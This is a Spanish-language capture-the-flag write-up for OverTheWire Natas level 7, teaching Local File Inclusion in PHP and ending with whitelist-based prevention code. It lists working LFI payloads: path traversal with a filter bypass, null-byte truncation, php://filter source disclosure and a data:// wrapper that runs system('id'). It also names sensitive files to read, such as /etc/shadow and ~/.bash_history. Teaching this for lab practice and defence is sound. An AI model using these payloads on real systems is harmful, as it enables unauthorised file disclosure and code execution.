← Volver al listado de tecnologías

Natas Nivel 7 - Local File Inclusion (LFI)

Por: SiempreListo
overthewirenataslfifile-inclusionnivel-7

Natas Nivel 7 - Local File Inclusion (LFI)

Objetivo

La página tiene enlaces “Home” y “About” que cargan contenido dinámicamente.

Análisis

URLs observadas

index.php?page=home
index.php?page=about

Pista en el código fuente

<!-- hint: password for natas8 is in /etc/natas_webpass/natas8 -->

Teoría: Local File Inclusion (LFI)

¿Qué es?

LFI ocurre cuando una aplicación incluye archivos basándose en input del usuario sin validar adecuadamente.

Código Vulnerable

<?php
$page = $_GET['page'];
include($page);  // ¡PELIGROSO!
?>

Impacto

Solución

Paso 1: Probar LFI básico

index.php?page=/etc/passwd

Si funciona, verás el contenido del archivo.

Paso 2: Leer la contraseña

http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

Técnicas de LFI

Path Traversal

Subir directorios con ../:

?page=../../../etc/passwd
?page=....//....//....//etc/passwd  (bypass de filtros)

Null Byte (versiones antiguas de PHP)

?page=/etc/passwd%00

Termina el string, ignorando extensiones agregadas.

Wrappers de PHP

?page=php://filter/convert.base64-encode/resource=index.php
?page=php://input  (con POST data)
?page=data://text/plain,<?php system('id'); ?>

Archivos Interesantes en Linux

ArchivoContenido
/etc/passwdLista de usuarios
/etc/shadowHashes de contraseñas (root)
/proc/self/environVariables de entorno
/var/log/apache2/access.logLogs de Apache
~/.bash_historyHistorial de comandos

Prevención

Código Seguro

<?php
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'];

if (in_array($page, $allowed)) {
    include("pages/" . $page . ".php");
} else {
    include("pages/404.php");
}
?>

Medidas

  1. Whitelist de páginas permitidas
  2. Sanitizar input del usuario
  3. Evitar rutas absolutas
  4. Deshabilitar wrappers peligrosos

Conceptos Aprendidos

ConceptoDescripción
LFILocal File Inclusion
Path traversalNavegar directorios con ../
PHP wrappersProtocolos especiales de PHP

Siguiente Nivel